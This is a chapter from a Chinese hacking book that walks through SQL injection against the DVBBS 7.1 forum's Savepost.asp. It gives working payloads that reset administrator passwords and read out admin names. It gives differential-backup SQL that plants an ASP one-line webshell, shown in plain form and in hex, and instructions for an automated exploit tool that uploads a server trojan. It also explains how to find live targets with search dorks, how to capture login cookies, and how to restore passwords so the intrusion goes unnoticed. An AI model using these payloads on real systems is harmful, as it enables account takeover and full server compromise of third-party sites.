网站入侵与脚本攻防修炼
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.2 Update注入与差异备份

在前面的注入讲解中,使用一个Update查询即可轻松地更新管理员的密码。其中Update查询在SQL注入攻击中,其作用是非常强大的,常常可用在各种复杂环境下的SQL注入攻击中,使用非常灵活。

3.2.1 表单提交与Update

在动网论坛程序DVBBS 7.1的“Savepost.asp”文件中,有一个“Buy_UserList”的变量,该变量未进行严格的用户输入过滤,导致用户可以进行注入。而“Buy_UserList”变量又导致另一个名为“ToolsBuyUser”的变量存在注入漏洞, ToolsBuyUser的变量是用户可以完全控制的。

如果是SQL版本的论坛,攻击者可以用SQL中的“Update”查询,修改论坛管理员密码,或者通过差异备份得Webshell,从而控制整个服务器。

1.Buy_UserList的未过滤传递

存在漏洞的文件是“savepost.asp”,用记事本打开该文件,在其中可看到相关的代码语句:

            Private GetPostType, ToMoney, UseTools, ToolsBuyUser, GetMoneyType,
            Tools_UseTools, Tools_LastPostTime, ToolsInfo, ToolsSetting
            '定义变量
            ………………代码省略………………
                        Buy_VIPType = Request.FORM("Buy_VIPType")
                        Buy_UserList = Request.FORM("Buy_UserList")
                        If Buy_Orders<>"" and IsNumeric(Buy_Orders) Then
                            Buy_Orders = cCur(Buy_Orders)
                        Else
                            Buy_Orders = -1
                        End If
                        If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0
                        If Buy_UserList<>"" Then Buy_UserList = Replace
                        (Replace(Replace(Buy_UserList, "— —", ""), "@@@", ""),
                        "$PayMoney", "")
                        ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType
                        &"@@@"&Buy_UserList&"— —$PayMoney— —"
                        GetMoneyType = 3
                        'UseTools = ToolsInfo(4)
                    End Select
                End If
            ………………代码省略………………

从上面的代码中,可以看到,先定义了“Buy_UserList”变量,然后通过如下语句获取变量(见图31):

            Buy_UserList = Request.FORM("Buy_UserList")

图31 漏洞代码

在获取过程中没有经过危险字符过滤,然后进行参数“GetPostType”值的判断,当其为2时,赋值语句为:

            ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy
            _UserList&"— —$PayMoney— —"

“Buy_UserList”未经过过滤就提交给了ToolsBuyUser变量。再继续向下看代码:

            DIM UbblistBody
                UbblistBody = Content
                UbblistBody = Ubblist(Content)
                SQL="insert into "&TotalUseTable&"(Boardid, ParentID,
            username, topic, body, DateAndTime, length, RootID, layer, orders,
            ip, Expression, locktopic, signflag, emailflag, isbest, PostUserID,
            isupload, IsAudit, Ubblist, GetMoney, UseTools, PostBuyUser,
            GetMoneyType) values ("&Dvbbs.boardid&", "&ParentID&", ' "&username&"' ,
            '"&topic&"' , ' "&Content&"' , ' "&DateTimeStr&"' , ' "&Dvbbs.strlength
            (Content)&"' , "&RootID&", "&ilayer&", "&iorders&", ' "&Dvbbs.User
            TrueIP&"' , ' "&Expression(1)&"' , "&locktopic&", "&signflag&",
            "&mailflag&",0, "&Dvbbs.userid&", "&ihaveupfile&", "&IsAudit&",
            '"&UbblistBody&"' , "&ToMoney&", ' "&UseTools&"' , ' "&ToolsBuyUser
            &"' , "&GetMoneyType&")"
                Dvbbs.Execute(sql)
                Set Rs=Dvbbs.Execute("select Max(AnnounceID) From "&Total
            UseTable&" Where PostUserID="&Dvbbs.UserID)
                AnnounceID=Rs(0)
            …………代码省略…………

在这段代码中,定义SQL语句,然后执行SQL语句。在SQL语句中,明显调用了未经过滤的“ToolsBuyUser”参数,因此产生了SQL注入漏洞。

2.手工Update提交

由于此注入漏洞是对用户输入做了一些限制,直接进行用户名猜测比较有技术难度,因此可选择SQL版本的论坛进行测试。利用百度或者Google,以关键字“Powered By Dvbbs Version 7.1”进行搜索,再从结果中找到SQL版本论坛即可获得不少测试目标论坛。

首先检测一下目标网站论坛是否存在这个注入漏洞,需要手工检测。

方法比较简单,先在论坛注册一个用户ID,这里注册的是“xiaoyao”,随便找个版面发帖子。在帖子内容下面有个“论坛金币帖设置”的选项,在“选择帖子类型”下拉菜单中选择“论坛交易帖设置”(图32)。

下面会出现一个“可购买名单限制”输入框,在里面填写如下内容:

            xiaoyao' ,0); update/**/Dv_User/**/set/**/UserEmail='123456789
            '/**/where[UserName]=' xiaoyao' ; --

图32 在帖子交易设置中输入SQL语句

该SQL语句的功能是,将名为“xiaoyao”的用户资料中的Email地址改为“123456789”,在攻击时时可将xiaoyao改为自己注册的用户名。

随便输入帖子内容和主题,其他选项保持默认,单击“发表”,帖子内容提交成功后,查看自己的用户资料,可以看到Email地址变为“123456789”了(见图33)。

图33 Email信息中显示了用户密码

从上面的测试中看出,论坛程序的“Savepost.asp”存在着注入漏洞,可以进行攻击。

既然论坛存在着注入漏洞,那么只需要略微地更改一下刚才提交的SQL语句,就可以攻击任意用户,包括管理员。

例如,论坛里面有一个名为“admin”的管理员用户,可以更改该用户的密码,冒名发帖,或者直接对论坛进行管理。在上面发帖的“可购买名单限制”中输入如下SQL语句:

            123' ,0); update/**/Dv_User/**/set/**/UserPassword=' 49ba59abb
            e56e057' /**/where[UserName]=' admin' ; --

其中“49ba59abbe56e057”是“123456”的16位MD5加密密文。提交帖子后,提示帖子保存成功(图34)。发帖完毕后先退出,然后以用户名“admin”和密码“123456”即可成功登录,获得管理员的身份。

图34 提交帖子成功

此外,还可以获得后台管理员名称并修改后台管理员的密码,如执行如下语句:

            123' ,0); update dv_user set UserEmail=(select top 1 username
            from dv_admin)where username=' xiaoyao' ; --

执行语句后,在“xiaoyao”用户的Email地址信息中就可以看到后台管理员的用户名了(图35)。执行如下语句:

            123' ,0); update dv_admin set password='49ba59abbe56e057' where
             username=' admin' ; --

即可将后台管理员用户admin的密码修改为123456。

图35 后台获得管理员用户名

3.2.2 差异备份获得Webshell

利用上面的攻击代码,攻击者只需更改一下SQL语句中的用户名,就可以轻易地更改管理员的密码进入论坛后台。当知道数据库路径后,用差异备份之类的方法,可轻易地得到一个Webshell,控制整个服务器。

1.手工差异备份

用管理员身份登录后台后,单击后台管理页面左侧边栏的“数据处理”→“系统信息检测”,在右边的页面中可看到检测到的服务器信息。在“本文件路径”中,就可以看到网站的物理路径为“C:\web\Admin\data.asp”(见图36)。

图36 获得网站物理路径

首先,要在数据库中创建一个表,用于存放临时的代码,SQL语句为:

            create table webshell (str image)

可在刚才的帖子购买用户名设置处输入如下代码:

            123' ,0); create table webshell (str image); --

提交帖子后,就可以创建一个名为Webshell的表了。然后需要备份当前的数据库,以免后面备份恢复时给数据库造成破坏而影响论坛的使用。SQL查询语句为:

            declare @a sysname select @a=db_name() backup database @a to
            disk=' C:\Web\data.bak'

可在刚才的帖子购买用户名设置处输入如下代码:

            123' ,0); declare @a sysname select @a=db_name() backup database
             @a to disk=' C:\Web\data.bak' ; --

提交帖子后,即可将当前的数据库备份为到为“C:\Web\data.bak”文件。现在,要将ASP木马后门插入刚才建立的临时表Webshell中,这里要插入的ASP木马需要短小一点,选择蓝屏一句话的木马后门,其代码如下:

            <%execute request("l")%>

代码的16进制是:

            0x3C2565786563757465207265717565737428226C2229253E

这里可以运行一个叫做“小葵多功能转换工具”的软件,在上方的“要转的”中输入物理路径“C:\Web”,单击【给我转】按钮,在下方就可以看到转换后的结果了(见图37)。

图37 小葵多功能转换工具

可在刚才的帖子购买用户名设置处输入如下代码:

            123' ,0); insert into Webshell values(0x3C25657865637574652072
            65717565737428226C2229253E); --

该语句是将一句话代码的16进制插入到Webshell临时表中。提交帖子执行命令后,即可将数据表备份生成一个Webshell了。可在刚才的帖子购买用户名设置处执行如下代码语句:

            123' ,0); declare @a sysname select @a=db_name() backup database
             @a to disk=' C:\Web\Webshell.asp' with differential;

命令执行成功后,就可以获得一个Webshell了,网页后门路径为“C:\Web\webshell.asp”,转换为网址链接就是“http://www.binghexijian.com.cn/webshell.asp”。

2.工具自动化备份

另外,在网上有许多已经编译好的直接利用注入漏洞的攻击工具,使得攻击变得更加简单。

运行“动网SQL Savepost.asp漏洞利用程序”,在“论坛地址”中输入要攻击的论坛地址,在“Cookie”中输入登录论坛后的Cookie信息,然后需要分论坛ID号和管理员的用户名(图38)。

图38 漏洞利用程序的设置

如何获得论坛登录后的Cookie信息呢?可利用桂林老兵的抓取Cookie信息工具“Cookies & Inject Brower”,此程序类似一个浏览器,在地址栏中输入论坛地址,然后进行登录,在工具栏“Cookies”中即可看到Cookie信息(图39)。选择Cookie信息后,单击鼠标右键将其复制,再粘贴到漏洞利用工具中来。

至于分论坛ID号可使用默认的“1”,管理员用户名也很好查找到,查找发公告帖或重要帖的用户,查看其用户资料中的用户等级即可。也可以直接单击页面中的“用户列表”链接,选择“会员列表”→“管理团队”,即可看到所有管理员用户名了。在“DVBBS标识”项一般是不要填写的,如果在使用程序过程中要求填写时,再按照要求找到标识输入。

图39 抓取Cookies信息

设置完入侵信息后可以进行漏洞检测,单击攻击程序中的【备份管理员密码】按钮,首先会弹出提示用户名和Cookie信息,确认无误后程序开始备份管理员密码。操作成功后,下面提示框中会显示“[成功]: 成功备份管理员admin的密码到用户Email ...”(见图40)。此时返回IE窗口中,查看管理员用户资料,在Email中就会看到管理员的密码明文了。

图40 备份管理员密码成功提示信息

再单击【备份后台密码】按钮,备份管理员的后台登录密码。

在攻击前,首先需要进行的是管理员密码备份,以便修改管理员密码后登录后台,上传Webshell后恢复管理员原来的密码,这样不易被管理员发现论坛被入侵。如果不备份的话,管理员登录系统时将会发现自己的密码被修改,十有八九会猜到是攻击者攻击论坛了。

单击程序界面中的【取得当前数据库名】按钮,下方提示框中显示“[成功]: 成功取得当前数据库名,请人工查看用户控制面板->密码修改->密码问题...”。返回IE窗口,在当前登录状态下单击页面中的“用户控制面板”→“密码修改”,在用户密码修改页面中,可以看到“密码问题”里显示为“dvbbs”,说明当前数据库名称为“dvbbs”(见图41)。

图41 获取当前论坛数据库名

单击程序界面中的【更改管理员密码】和【更改后台密码】按钮,程序将会自动将管理员的前台与后台密码更改为默认的“admin888”。

用更改后的密码登录论坛后台,单击后台管理页面中的“数据处理”→“系统信息检测”,在右边页面中的“服务器相关信息”→“本文件路径”中,可以看到论坛的Web路径为“C:\web”。

记下该路径,然后返回攻击程序页面,在“站点根目录”中输入刚才得到的Web路径“C%3A%5CWeb”,见图42,这里把“\”换为了“%5C”, “:”转换为“%3A”。再输入刚才得到的数据库名“dvbbs”。

图42 论坛路径要转换代码

最后单击下方的【log备份】按钮(图43)。程序将自动锁死12秒,开始上传Webshell,在上传过程中会要求多次确认用户名及Cookie信息。

图43 攻击设置

上传完毕后,提示成功信息(图44),此时可以检测网站目录下是否存在“emissary.asp”文件,在浏览器中输入地址(图45):

图44 上传Webshell控制服务器

            http://www.binghexijian.com.cn/emissary.asp

图45 单击【OK】按钮后输入地址

上传的木马是冰狐浪子ASP服务端木马,用冰狐浪子ASP木马客户端连接即可控制整个服务器了!